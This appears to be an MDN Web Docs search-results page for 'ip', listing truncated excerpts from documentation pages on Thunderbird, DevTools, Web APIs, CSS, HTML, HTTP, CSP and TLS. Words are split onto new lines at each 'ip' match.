...ortsprimitive nsisupportsprint16 nsisupportsprint32 nsisupportsprint64 nsisupportspriority nsisupportsprtime nsisupportspruint16 nsisupportspruint32 nsisupportspruint64 nsisupportspruint8 nsisupportsstring nsisupportsvoid nsisupportsweakreference nsivariant do not use nsienumerator nsiinprocesscontentframemessagemanager nsiscr
iptableio nsixpcscr
iptable future nsixmlhttprequestupload obsolete nsixmlrpcclient nsixmlrpcfault security auth nsiauthmodule nsiauthprompt nsiauthpromptprovider nsiauthpromptwrapper nsiasyncverifyredirectcallback content nsicontentpolicy credentials ...
...And 7 more matches
Address Book examples
note: thunderbird and seamonkey user interfaces now reference 'contacts' not 'cards' however, as the backend still uses the 'cards' terminology, that is what is used here this article provides examples on accessing and man
ipulating thunderbird address books. address book interfaces provides an overview of the related interfaces. see an overview of thunderbird components for a general descr
iption of the thunderbird user interface and related programmatic interfaces. how do i get all address books? use the address book manager to get an nsisimpleenumerator, then progress through the enumerator, looking for nsiabitem, nsiabcollection or nsiabdirectory interfaces as you require. let abmanager = components.classes["@mozilla.org/abmanager;1"] .getservice(compo...
...articular properties within that collection using getcardfromproperty. this function will return the first match that it finds in the collection or null. let collection = ... let card = collection.getcardfromproperty("jobtitle", "software engineer", false); if you are searching for a card with a particular email address, you can use the cardforemailaddress function that will match against mult
iple email addresses stored in one card. again, this function returns the first match that it finds in the collection, or null. let collection = ... let card = collection.cardforemailaddress("foo@bar.invalid.com"); note: both of these functions may raise an ns_error_not_implemented exception if the collection has not implemented that function. this is currently true in the case of ldap, but may b...
...ion returns the first match that it finds in the collection, or null. let collection = ... let card = collection.cardforemailaddress("foo@bar.invalid.com"); note: both of these functions may raise an ns_error_not_implemented exception if the collection has not implemented that function. this is currently true in the case of ldap, but may be true in other cases as well. how do i search for mult
iple contacts? formulate a boolean search string (see nsiabcard for built-in property names): var searchquery = "(or(primaryemail,bw,@v)(nickname,bw,@v)(and(ismaillist,=,true)(notes,bw,@v)))"; searchquery = searchquery.replace(/@v/g, encodeuricomponent("mystr") the search queries use lisp syntax with operators enumerated in nsabquerystringtoexpression.cpp. assuming you wish to search across mul...
...And 7 more matches
Virtualenv
tting virtualenv virtualenv is a python package. you can download it from its pypi package page or install it with easy_install. the github virtualenv repository is maintained by the python packaging authority (including mozilla's tarek ziade and ian bicking). ...
...rom its pypi package page or install it with easy_install. the github virtualenv repository is maintained by the python packaging authority (including mozilla's tarek ziade and ian bicking). ...
... again, you may need to use sudo to install globally. ...
...And 7 more matches
UI Tour - Firefox Developer Tools
at the top level sources are organized by origin, and under that they're organized by the directory structure from which they are served. ...
...at the top level sources are organized by origin, and under that they're organized by the directory structure from which they are served. you can search for a file using ctrl + p (cmd + p on a mac). web extensions are listed in the source list pane using the extension's name. there are several context menu options ...
...for a file using ctrl + p (cmd + p on a mac). web extensions are listed in the source list pane using the extension's name. there are several context menu options available for individual files and folders or groups; typically viewed by right-clicking on the item. for files, the following context menu options are available: copy source uri copies the full identifier of the file to the cl
ipboard. ignore source causes the debugger to sk
ip the file when "stepping into" functions; this can be helpful for avoiding stepping into libraries used by your code. when a file is ignored, it has a small eye icon next to it in place of its regular icon. download file opens a file dialog so you can save the file locally. for folders and groups, the following context menu options are available:...
...And 7 more matches
Debugger.Frame - Firefox Developer Tools
for a given debugger instance, spidermonkey creates only one debugger.frame instance for a given visible frame. every handler method called while the debuggee is running in a given frame is given the same frame object. similarly, walking the stack back to a previously accessed frame yields the same frame object as before. ...
...was accessible to the debuggee, but any further calls that function makes are treated as internal details, and omitted from the stack trace. if the non-debuggee function eventually calls back into debuggee code, then those frames are visible. (note that the debuggee is not considered an "immediate caller" of handler methods it triggers. even though the debuggee and debugger share the same javascr
ipt stack, frames pushed for spidermonkey's calls to handler methods to report events in the debuggee are never considered visible frames.) invocation functions and "debugger" frames aninvocation function is any function in this interface that allows the debugger to invoke code in the debuggee: debugger.object.prototype.call, debugger.frame.prototype.eval, and so on. while invocation functions di...
...gger.frame prototype object a debugger.frame instance inherits the following accessor properties from its prototype: type a string describing what sort of frame this is: "call": a frame running a function call. (we may not be able to obtain frames for calls to host functions.) "eval": a frame running code passed to eval. ...
...And 7 more matches
Network request list - Firefox Developer Tools
displayed on a colored background, to help unusual ones stand out. if there was no response, this column is empty. or you might see a red circle with a diagonal slash for responses that were blocked by the browser or the server. method: the http request method used. domain: domain of the path requested. if the request used ssl/tls and the connection had security weaknesses such as weak c
iphers, you'll see a warning triangle next to the domain. y hover over the domain to see the
ip address. there's an icon next to the domain that gives you extra information about the security status of that request. see security icons. file: the basename of the file requested. (starting in firefox 80) on the right edge of the file column, a turtle icon appears if the server waiting...
...you can configure the threshhold in the configuration editor (about:config) by modifying the devtools.netmonitor.audits.slow setting. url: the url of the file requested. protocol: the network protocol used to transfer the data, this column is hidden by default. scheme: the scheme (https/http/ftp/...) of the path requested. ...
...ains the problem. you can configure the threshhold in the configuration editor (about:config) by modifying the devtools.netmonitor.audits.slow setting. url: the url of the file requested. protocol: the network protocol used to transfer the data, this column is hidden by default. scheme: the scheme (https/http/ftp/...) of the path requested. this column is hidden by default. remote
ip: the
ip address of the server answering the request. this column is hidden by default. type: content-type of the response. cookies: the number of request cookies associated to the request. this column is hidden by default. this is new in firefox 55. set-cookies: the number of response cookies associated to the request. this column is hidden by default. this is new in firefox 55. transferred: ...
...And 7 more matches
BluetoothRemoteGATTCharacteristic - Web APIs
the bluetoothremotegattcharacteristic interface of the web bluetooth api represents a gatt characteristic, which is a basic data element that provides further information about a per
ipheral's service. ...
...att characteristic, which is a basic data element that provides further information about a per
ipheral's service. ...
...tic, which is a basic data element that provides further information about a per
ipheral's service. ...
...And 7 more matches
CanvasRenderingContext2D.isPointInStroke() - Web APIs
return value boolean a boolean, which is true if the point is inside the area contained by the stroking of a path, otherwise false. examples checking a point in the current path this example uses the ispointinstroke() method to check if a point is within the area of the current path's stroke. html <canvas id="canvas"></canvas> <p>in stroke: <code id="result">false</code></p> javascr
ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const result = document.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.stroke(); result.innertext = ctx.ispointinstroke(50, 10); result checking a point in the specified path whenever you move the mouse, this example checks whether the cursor is in the stroke of an ell
iptical path2d path. if...
...as = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const result = document.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.stroke(); result.innertext = ctx.ispointinstroke(50, 10); result checking a point in the specified path whenever you move the mouse, this example checks whether the cursor is in the stroke of an ell
iptical path2d path. ...
...ment.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.stroke(); result.innertext = ctx.ispointinstroke(50, 10); result checking a point in the specified path whenever you move the mouse, this example checks whether the cursor is in the stroke of an ell
iptical path2d path. if yes, the ell
ipse's stroke becomes green, otherwise it is red. ...
...And 7 more matches
HTML Drag and Drop API - Web APIs
able element, and drop them by releasing the mouse button. a translucent representation of the draggable elements follows the pointer during the drag operation. for web sites, extensions, and xul applications, you can customize which elements can become draggable, the type of feedback the draggable elements produce, and the droppable elements. this overview of html drag and drop includes a descr
iption of the interfaces, basic steps to add drag-and-drop support to an application, and an interoperability summary of the interfaces. drag events html drag-and-drop uses the dom event model and drag events inherited from mouse events. a typical drag operation begins when a user selects a draggable element, drags the element to a droppable element, and then releases the dragged element. during ...
...atatransfer are broadly supported on desktop browsers. however, the datatransferitem and datatransferitemlist interfaces have limited browser support. see interoperability for more information about drag-and-drop interoperability. gecko-specific interfaces mozilla and firefox support some features not in the standard drag-and-drop model. these are convenience functions to help with dragging mult
iple items or non-string data (such as files). for more information, see dragging and dropping mult
iple items. additionally, see the datatransfer reference page for all of the gecko-specific properties and gecko-specific methods. the basics this section is a summary of the basic steps to add drag-and-drop functionality to an application. identify what is draggable making an element draggable req...
...see the datatransfer reference page for all of the gecko-specific properties and gecko-specific methods. the basics this section is a summary of the basic steps to add drag-and-drop functionality to an application. ...
...And 7 more matches
Timing element visibility with the Intersection Observer API - Web APIs
from a database, and there are just a handful of simple text-only ads that are selected from an array), this should provide enough understanding of the api to quickly learn how to apply the intersection observer api to your own site. there's a good reason why the notion of tracking visibility of ads is being used in this example. it turns out that one of the most common uses of flash or other scr
ipt in advertising on the web is to record how long each ad is visible, for the purpose of billing and payment of revenues. without the intersection observer api, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down. using this api lets everything get streamlined by the browser to reduce the impact on performance substantia...
...">one more link</a></li> </ul> </nav> </aside> <main> </main> </div> this is the framework for the entire site. at the top is the site's header region, contained within a <header> block. below that, we define the site's sidebar as a list of links within an <aside> block. finally comes the main body. we start with an empty <main> element here. this box will be populated using scr
ipt later. styling the site with css with the structure of the site defined, we turn to the styling for the site. let's look at the style for each component of the page individually. the basics we provide styles for the <body> and <main> elements to define the site's background as well as the grid the various parts of the site will be placed in. body { font-family: "open sans", "arial", "helv...
...lid; border-width: 1px; } .ad:not(:last-child) { margin-bottom: 8px; } .ad h2 { margin-top: 0; } .ad div { position: relative; float: right; padding: 0 4px; height: 20px; width: 120px; font-size: 14px; bottom: 30px; border: 1px solid black; background-color: rgba(255, 255, 255, 0.5); } there's nothing magic in here. it's fairly basic css. tying it together with javascr
ipt that brings us to the javascr
ipt code which makes everything work. let's start with the global variables: let contentbox; let nextarticleid = 1; let visibleads = new set(); let previouslyvisibleads = null; let adobserver; let refreshintervalid = 0; these are used as follows: contentbox a reference to the <main> element's htmlelement object in the dom. this is where we'll insert the arti...
...And 7 more matches
MediaSessionActionDetails - Web APIs
ated type, indicating which type of action needs to be performed. see media action types below for possible values. fastseek optional an seekto action may optionally include this property, which is a boolean value indicating whether or not to perform a "fast" seek. a "fast" seek is a seek being performed in a rapid sequence, such as when fast-forwarding or reversing through the media, rapidly sk
ipping through it. this property can be used to indicate that you should use the shortest possible method to seek the media. fastseek is not included on the final action in the seek sequence in this situation. seekoffset optional if the action is either seekforward or seekbackward and this property is present, it is a floating point value which indicates the number of seconds to move the play posi...
.... fastseek is not included on the final action in the seek sequence in this situation. seekoffset optional if the action is either seekforward or seekbackward and this property is present, it is a floating point value which indicates the number of seconds to move the play position forward or backward. if this property isn't present, those actions should choose a reasonable default distance to sk
ip forward or backward (such as 7 or 10 seconds). seektime optional if the action is seekto, this property must be present and must be a floating-point value indicating the absolute time within the media to move the playback position to, where 0 indicates the beginning of the media. this property is not present for other action types. media action types a media session action's type is specifie...
... amount of time to seek backward. seekforward seeks forward from the current position through the media. the mediasessionactiondetails property seekoffset specifies the amount of time to seek forward. seekto moves the playback position to the specified time within the media. the time to which to seek is specified in the mediasessionactiondetails property seektime. if you intend to perform mult
iple seekto operations in rapid succession, you can also specify the mediasessionactiondetails property fastseek property with a value of true. this lets the browser know it can take steps to optimize repeated operations, and is likely to result in improved performance. sk
ipad sk
ips past the currently playing advertisement or commercial. this action may or may not be available, depending on the pl...
...And 7 more matches
RTCIceCandidate.relatedAddress - Web APIs
the relatedaddress field's value is set when the rtcicecandidate() constructor is used. you can't specify the value of relatedaddress in the options object, but the address is automatically extracted from the candidate a-line, if it's formatted properly, being taken from its rel-address field. ...
.... for relay candidates, the related address and port are set to the mapped address selected by the turn server. for host candidates, relatedaddress is null, meaning the field is not included in the candidate's a-line. usage notes the related address is included in ice candidates despite not being used by ice itself. relatedaddress can be used for diagnostic purposes; by observing the relationsh
ips between the various types of candidates and their addresses and related addresses. relatedaddress can also be used by quality-of-service (qos) mechanisms. here's an sdp attribute line (a-line) describing an ice candidate discovered by the stun server: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 6502 typ srflx raddr 192.168.2.77 rport 32768 generation 0 the remote address, relatedaddr...
...f candidates and their addresses and related addresses. relatedaddress can also be used by quality-of-service (qos) mechanisms. ...
...And 7 more matches
A simple RTCDataChannel sample - Web APIs
sage text" inputmode="latin" size=60 maxlength=120 disabled> </label> <button id="sendbutton" name="sendbutton" class="buttonright" disabled> send </button> </div> finally, there's the little box into which we'll insert the messages. this <div> block will be the second peer. <div class="messagebox" id="receivebox"> <p>messages received:</p> </div> the javascr
ipt code while you can just look at the code itself on github, below we'll review the parts of the code that do the heavy lifting. the webrtc api makes heavy use of promises. they make it very easy to chain the steps of the connection process together; if you haven't already read up on this functionality of ecmascr
ipt 2015, you should read up on them. similarly, this example uses arrow functions t...
...tself on github, below we'll review the parts of the code that do the heavy lifting. the webrtc api makes heavy use of promises. they make it very easy to chain the steps of the connection process together; if you haven't already read up on this functionality of ecmascr
ipt 2015, you should read up on them. similarly, this example uses arrow functions to simplify syntax. starting up when the scr
ipt is run, we set up an load event listener, so that once the page is fully loaded, our startup() function is called. function startup() { connectbutton = document.getelementbyid('connectbutton'); disconnectbutton = document.getelementbyid('disconnectbutton'); sendbutton = document.getelementbyid('sendbutton'); messageinputbox = document.getelementbyid('message'); receivebox = document.g...
... || localconnection.addicecandidate(e.candidate) .catch(handleaddcandidateerror); we configure each rtcpeerconnection to have an event handler for the icecandidate event. start the connection attempt the last thing we need to do in order to begin connecting our peers is to create a connection offer. ...
...And 7 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
eo>. webvtt is a text based format, which must be encoded using utf-8. where you can use spaces you can also use tabs. there is also a small api available to represent and manage these tracks and the data needed to perform the playback of the text at the correct times. webvtt files the mime type of webvtt is text/vtt. a webvtt file (.vtt) contains cues, which can be either a single line or mult
iple lines, as shown below: webvtt 00:01.000 --> 00:04.000 - never drink liquid nitrogen. 00:05.000 --> 00:09.000 - it will perforate your stomach. - you could die. webvtt body the structure of a webvtt consists of the following components, some of them optional, in this order: an optional byte order mark (bom). the string "webvtt". an optional text header to the right of webvtt. th...
...itrogen. 00:05.000 --> 00:09.000 - it will perforate your stomach. - you could die. webvtt body the structure of a webvtt consists of the following components, some of them optional, in this order: an optional byte order mark (bom). the string "webvtt". an optional text header to the right of webvtt. there must be at least one space after webvtt. you could use this to add a descr
iption to the file. you may use anything in the text header except newlines or the string "-->". a blank line, which is equivalent to two consecutive newlines. zero or more cues or comments. zero or more blank lines. example 1 - simplest possible webvtt file webvtt example 2 - very simple webvtt file with a text header webvtt - this file has no cues. example 3 - common webvtt exam...
...te varmt. 2 00:02:20.000 --> 00:02:25.000 - har en kopp te. - det smakar som te. note this last line may not translate well. 3 00:02:25.000 --> 00:02:30.000 - ta en kopp styling webvtt cues you can style webvtt cues by looking for elements which match the ::cue pseudo-element. within site css video::cue { background-image: linear-gradient(to bottom, dimgray, lightgray); color: papayawh
ip; } video::cue(b) { color: peachpuff; } here, all video elements are styled to use a gray linear gradient as their backgrounds, with a foreground color of "papayawh
ip". in addition, text boldfaced using the <b> element are colored "peachpuff". the html sn
ippet below actually handles displaying the media itself. <video controls autoplay src="video.webm"> <track default src="track.vtt"> </vi...
...And 7 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
first button will set a timeout which calls an alert dialog after two seconds and stores the timeout id for use by cleartimeout(). you may optionally cancel this timeout by pressing on the second button. html <p>live example</p> <button onclick="delayedalert();">show an alert box after two seconds</button> <p></p> <button onclick="clearalert();">cancel alert before it happens</button> javascr
ipt var timeoutid; function delayedalert() { timeoutid = window.settimeout(window.alert, 2*1000, 'that was really slow!'); } function clearalert() { window.cleartimeout(timeoutid); } result see also cleartimeout() example. polyfill if you need to pass one or more arguments to your callback function, but need it to work in browsers which don't support sending additional arguments using ...
...cleartimeout() example. polyfill if you need to pass one or more arguments to your callback function, but need it to work in browsers which don't support sending additional arguments using either settimeout() or setinterval() (e.g., internet explorer 9 and below), you can include this polyfill to enable the html5 standard arguments-passing functionality. just add this code to the top of your scr
ipt: /*\ |*| |*| polyfill which enables the passage of arbitrary arguments to the |*| callback functions of javascr
ipt timers (html5 standard syntax). |*| |*| https://developer.mozilla.org/docs/dom/window.setinterval |*| |*| syntax: |*| var timeoutid = window.settimeout(func, delay[, arg1, arg2, ...]); |*| var timeoutid = window.settimeout(code, delay); |*| var intervalid = window.setinterva...
...topass2, etc. */ ) { var aargs = array.prototype.slice.call(arguments, 2); return __nativesi__(vcallback instanceof function ? function() { vcallback.apply(null, aargs); } : vcallback, ndelay); }; }, 0, 'test'); }()) ie-only fix if you want a completely unobtrusive fix for every other mobile or desktop browser, including ie 9 and below, you can either use javascr
ipt conditional comments: /*@cc_on // conditional ie < 9 only fix @if (@_jscr
ipt_version <= 9) (function(f){ window.settimeout = f(window.settimeout); window.setinterval = f(window.setinterval); })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof function?c.apply(this,a):eval(c)},t)}}); @end @*/ ... or go for a very clean appro...
...And 7 more matches
An overview of accessible web applications and widgets - Accessibility
since the html4 specification doesn't provide built-in tags that semantically describe these kinds of widgets, developers typically resort to using generic elements such as <div> and <span>. while this results in a widget that looks like its desktop counterpart, there usually isn't enough semantic information in the markup to be usable by an assistive technology. the problem dynamic content on a web page can be particularly problematic for users who, for whatever reason, are unable to view the screen. ...
...ut not editable or otherwise operable aria-grabbed: indicates the 'grabbed' state of an object in a drag-and-drop operation (for a full list of aria states, consult the aria list of states and properties.) developers should use aria states to indicate the state of ui widget elements and use css attribute selectors to alter the visual appearance based on the state changes (rather than using scr
ipt to change a class name on the element). visibility changes when content visibility is changed (i.e., an element is hidden or shown), developers should change the aria-hidden property value. the techniques described above should be used to declare css to visually hide an element using display:none. here is an example of a toolt
ip that uses aria-hidden to control the visibility of the toolt
ip. ...
...ibility changes when content visibility is changed (i.e., an element is hidden or shown), developers should change the aria-hidden property value. the techniques described above should be used to declare css to visually hide an element using display:none. here is an example of a toolt
ip that uses aria-hidden to control the visibility of the toolt
ip. the example shows a simple web form with toolt
ips containing instructions associated with the entry fields. ...
...And 7 more matches
Border-image generator - CSS: Cascading Style Sheets
this tool can be used to generate css3 border-image values. ...
... this tool can be used to generate css3 border-image values. ...
...tent <div id="container"> <div id="gallery"> <div id="image-gallery"> <img class="image" src="https://udn.realityr
ipple.com/samples/2c/fa0192d18e.png" data-stateid="border1"/> <img class="image" src="https://udn.realityr
ipple.com/samples/b8/dacdd63e77.png" data-stateid="border2"/> <img class="image" src="https://udn.realityr
ipple.com/samples/07/1fcc357205.png" data-stateid="border3"/> <img class="image" src="https://udn.realityr
ipple.com/samples/7b/dd37c1d691.png" data-stateid="border4"/> <img class="image" src="https://udn.realityr
ipple.com/samples/a9/b9fff72dab.png" data-stateid="border5"/> <img class="image" src="https://udn.realityr
ipple.com/samples/fb/c0b285d3da.svg"...
...And 7 more matches
Value definition syntax - CSS: Cascading Style Sheets
ta type not sharing the same name of a property. these data types are very close to the basic data types. they only differ from the basic data types in the physical location of their definition. in this case, the definition is usually physically very close to the definition of the property using them. component value combinators brackets brackets enclose several entities, combinators, and mult
ipliers, then transform them as a single component. they are used to group components to bypass the precedence rules. bold [ thin && <length> ] this example matches the following values: bold thin 2vh bold 0 thin bold thin 3.5em but not: thin bold 3em, as bold is juxtaposed with the component defined by the brackets, it must appear before it. juxtaposition placing several keywords, li...
...st be present. 3em 4.5em, as a component must be present at most one time. note: the double bar has precedence over the single bar, meaning that bold | thin || <length> is equivalent to bold | [ thin || <length> ]. it describes bold, thin, <length>, <length> thin, or thin <length> but not bold <length> as only one entity from each side of the | combinator can be present. component value mult
ipliers a mult
iplier is a sign that indicate how many times a preceding entity can be repeated. without a mult
iplier, an entity must appear exactly one time. note that mult
ipliers cannot be added and have all precedence over combinators. asterisk (*) the asterisk mult
iplier indicates that the entity may appear zero, one or several times. bold smaller* this example matches the following values:...
...ve all precedence over combinators. asterisk (*) the asterisk mult
iplier indicates that the entity may appear zero, one or several times. bold smaller* this example matches the following values: bold bold smaller bold smaller smaller bold smaller smaller smaller, and so on. but not: smaller, as bold is juxtaposed, and must appear before any smaller keyword. plus (+) the plus mult
iplier indicates that the entity may appear one or several times. bold smaller+ this example matches the following values: bold smaller bold smaller smaller bold smaller smaller smaller, and so on. but not: bold, as smaller must appear at least one time. ...
...And 7 more matches
<basic-shape> - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax the <basic-shape> data type is defined with one of the basic shape functions listed below. when creating a shape, the reference box is defined by each property that uses <basic-shape> values. the coordinate system for the shape has its origin at the top-left corner of the reference box, with the x-axis running to the right and the y-axis running downwards. ...
...pty float area. circle() circle( [<shape-radius>]? [at <position>]? ) the <shape-radius> argument represents r, the radius of the circle. negative values are invalid. a percentage value here is resolved from the used width and height of the reference box as sqrt(width^2+height^2)/sqrt(2). the <position> argument defines the center of the circle. this defaults to center if omitted. ell
ipse() ell
ipse( [<shape-radius>{2}]? [at <position>]? ) the <shape-radius> arguments represent rx and ry, the x-axis and y-axis radii of the ell
ipse, in that order. negative values for either radius are invalid. percentage values here are resolved against the used width (for the rx value) and the used height (for the ry value) of the reference box. the position argument defines the center of ...
...this defaults to center if omitted. polygon() polygon( [<fill-rule>,]? [<shape-arg> <shape-arg>]# ) <fill-rule> represents the filling rule used to determine the interior of the polygon. possible values are nonzero and evenodd. default value when omitted is nonzero. each pair argument in the list represents xi and yi - the x and y axis coordinates of the ith vertex of the polygon. ...
...And 7 more matches
overflow-y - CSS: Cascading Style Sheets
ent's top and bottom edges. this may be nothing, a scroll bar, or the overflow content. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...-y: hidden; overflow-y: cl
ip; overflow-y: scroll; overflow-y: auto; /* global values */ overflow-y: inherit; overflow-y: initial; overflow-y: unset; the overflow-y property is specified as a single keyword chosen from the list of values below. if overflow-x is hidden, scroll or auto and this property is visible (default) it will implicitly compute to auto. values visible content is not cl
ipped and may be rendered outside the padding box's top and bottom edges. hidden content is cl
ipped if necessary to fit vertically in the padding box. no scrollbars are provided. cl
ip like for hidden, the content is cl
ipped to the element's padding box. the difference between cl
ip and hidden is that the cl
ip keyword also forbids all scrolling, including programmatic scrolling. the box is not a...
...(this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. ...
...And 7 more matches
<input type="tel"> - HTML: Hypertext Markup Language
hods select(), setrangetext(), setselectionrange() value the <input> element's value attribute contains a domstring that either represents a telephone number or is an empty string (""). ...
...fied, the telephone number input has no minimum length. the telephone number field will fail constraint validation if the length of the text entered into the field is fewer than minlength utf-16 code units long. pattern the pattern attribute, when specified, is a regular expression that the input's value must match in order for the value to pass constraint validation. it must be a valid javascr
ipt regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular express...
...umented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. t
ip: use the title attribute to specify text that most browsers will display as a toolt
ip to explain what the requirements are to match the pattern. you should also include other explanatory text nearby. see pattern validation below for details and an example. placeholder the placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the...
...And 7 more matches
Evolution of HTTP - HTTP
atory environment, to the modern maze of the internet, now carrying images, videos in high resolution and 3d. invention of the world wide web in 1989, while he was working at cern, tim berners-lee wrote a proposal to build a hypertext system over the internet. initially calling it the mesh, it was later renamed to world wide web during its implementation in 1990. built over the existing tcp and
ip protocols, it consisted of 4 building blocks: a textual format to represent hypertext documents, the hypertext markup language (html). a simple protocol to exchange these documents, the hyperttext transfer protocol (http). a client to display (and accidentally edit) these documents, the first web browser called worldwideweb. a server to give access to the document, an early version of httpd...
...o the server). get /mypage.html the response is extremely simple too: it only consisted of the file itself. <html> a very simple html page </html> unlike subsequent evolutions, there were no http headers, meaning that only html files could be transmitted, but no other type of documents. there were no status or error codes: in case of a problem, a specific html file was send back with the descr
iption of the problem contained in it, for human consumption. http/1.0 - building extensibility http/0.9 was very limited and both browsers and servers quickly extended it to be more versatile: versioning information is now sent within each request (http/1.0 is appended to the get line) a status code line is also sent at the beginning of the response, allowing the browser itself to understand ...
...cument the next year, proper standardization was in progress. the first standardized version of http, http/1.1 was published in early 1997, only a few months after http/1.0. http/1.1 clarified ambiguities and introduced numerous improvements: a connection can be reused, saving the time to reopen it numerous times to display the resources embedded into the single original document retrieved. p
ipelining has been added, allowing to send a second request before the answer for the first one is fully transmitted, lowering the latency of the communication. chunked responses are now also supported. additional cache control mechanisms have been introduced. content negotiation, including language, encoding, or type, has been introduced, and allows a client and a server to agree on the most ade...
...And 7 more matches
Content Security Policy (CSP) - HTTP
these attacks are used for everything from data theft to site defacement to distribution of malware. csp is designed to be fully backward compatible (except csp version 2 where there are some explicitly-mentioned inconsistencies in backward compatibility; more details here section 1.1). ...
...curity-policy http header. (sometimes you may see mentions of the x-content-security-policy header, but that's an older version and you don't need to specify it anymore.) alternatively, the <meta> element can be used to configure a policy, for example: <meta http-equiv="content-security-policy" content="default-src 'self'; img-src https://*; child-src 'none';"> threats mitigating cross site scr
ipting a primary goal of csp is to mitigate and report xss attacks. xss attacks exploit the browser's trust of the content received from the server. malicious scr
ipts are executed by the victim's browser because the browser trusts the source of the content, even when it's not coming from where it seems to be coming from. csp makes it possible for server administrators to reduce or eliminate the ve...
...eived from the server. malicious scr
ipts are executed by the victim's browser because the browser trusts the source of the content, even when it's not coming from where it seems to be coming from. csp makes it possible for server administrators to reduce or eliminate the vectors by which xss can occur by specifying the domains that the browser should consider to be valid sources of executable scr
ipts. a csp compatible browser will then only execute scr
ipts loaded in source files received from those allowlisted domains, ignoring all other scr
ipt (including inline scr
ipts and event-handling html attributes). as an ultimate form of protection, sites that want to never allow scr
ipts to be executed can opt to globally disallow scr
ipt execution. mitigating packet sniffing attacks in addition t...
...And 7 more matches
Mobile first - Progressive web apps (PWAs)
rmation for different viewport sizes, etc., it makes more sense to include the narrow screen/mobile styling as the default styling before any media queries are encountered, rather than having desktop/wider screen styling first. this way, mobile devices don't have to load assets and other information twice. if you are using mechanisms like feature detection and matchmedia to conditionally load scr
ipting functionality depending on viewport size, feature support, etc., you should just load the very basics that pretty much all browsers will need first, then progressively enhance browsers higher up the food chain. note: starting with very little and working up as the need arises usually makes more sense than starting with everything and then covering up things if they aren't needed! mobile ...
...tes contain a number of built-in features. in this sample app, i have used a couple of the built-in features to: include an install button that works for firefox os, firefox aurora, chrome and ios app installs (as explained on the install github page). to make the install button work, all you have to do is put a <button> on the page with an id of install-btn. magic! selectively include javascr
ipt libraries according to media query and feature tests (require.js is built in, which is helpful and very easy to use.) html structure for this example app, the html structure is going to be very simple: i am just including a heading, navigation menu and filler text to highlight the fact that articles can get very long on narrow screen devices. our html looks like this: <article> <nav> <...
...</p> <a id="bottom" href="#top">back to top</a> </div> </article> <button id="install-btn">install</button> default mobile css for the css, i first added some styles into our app.css stylesheet to provide a reasonable narrow-screen layout. there is very little going on here, and anyone with a basic understanding of css should be able to understand most of it by just looking at th...
...And 7 more matches
stroke-linejoin - SVG: Scalable Vector Graphics
--> <path d="m9,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="arcs" /> ...
...<!-- upper right path: effect of the "bevel" value --> <path d="m13,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="bevel" /> <!-- bottom left path: effect of the "miter-cl
ip" value with fallback to "miter" if not supported. --> <path d="m3,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="miter-cl
ip" /> <!-- bottom right path: effect of the "arcs" value with fallback to "miter" if not supported. --> <path d="m9,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="arcs" /> <!-- the following pink lines highlight the position of the path for each stroke --> <g id="highlight"> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" ...
... the arcs value indicates that an arcs corner is to be used to join path segments. the arcs shape is formed by extending the outer edges of the stroke at the join point with arcs that have t...
...And 7 more matches
Same-origin policy - Web security
the same-origin policy is a critical security mechanism that restricts how a document or scr
ipt loaded from one origin can interact with a resource from another origin. it helps isolate potentially malicious documents, reducing possible attack vectors. definition of an origin two urls have the same origin if the protocol, port (if specified), and host are the same for both. you may see this referenced as the "scheme/host/port tuple", or just "tuple". ...
...from another origin. it helps isolate potentially malicious documents, reducing possible attack vectors. definition of an origin two urls have the same origin if the protocol, port (if specified), and host are the same for both. you may see this referenced as the "scheme/host/port tuple", or just "tuple". ...
...differs http://store.company.com/dir/inner/another.html same origin only the path differs https://store.company.com/page.html failure different protocol http://store.company.com:81/dir/page.html failure different port (http:// is port 80 by default) http://news.company.com/dir/page.html failure different host inherited origins scr
ipts executed from pages with an about:blank or javascr
ipt: url inherit the origin of the document containing that url, since these types of urls do not contain information about an origin server. for example, about:blank is often used as a url of new, empty popup windows into which the parent scr
ipt writes content (e.g. via the window.open() mechanism). if this popup also contains javascr
ipt, tha...
...And 7 more matches
Transport Layer Security - Web security
this article's goal is to help you make these decisions to ensure the confidentiality and integrity communication between client and server. the mozilla operations security (opsec) team maintains a wiki entry with reference configurations for servers. the transport layer security (tls) protocol is the standard for enabling two networked applications or devices to exchange information privately and robustly. ...
...etween the user agent and the server, in order to prevent it from being read and interpreted by unauthorized parties. integrity tls ensures that between encrypting, transmitting, and decrypting the data, no information is lost, damaged, tampered with, or falsified. ...
...egrity tls ensures that between encrypting, transmitting, and decrypting the data, no information is lost, damaged, tampered with, or falsified. a tls connection starts with a handshake phase where a client and server agree on a shared secret and important parameters, like c
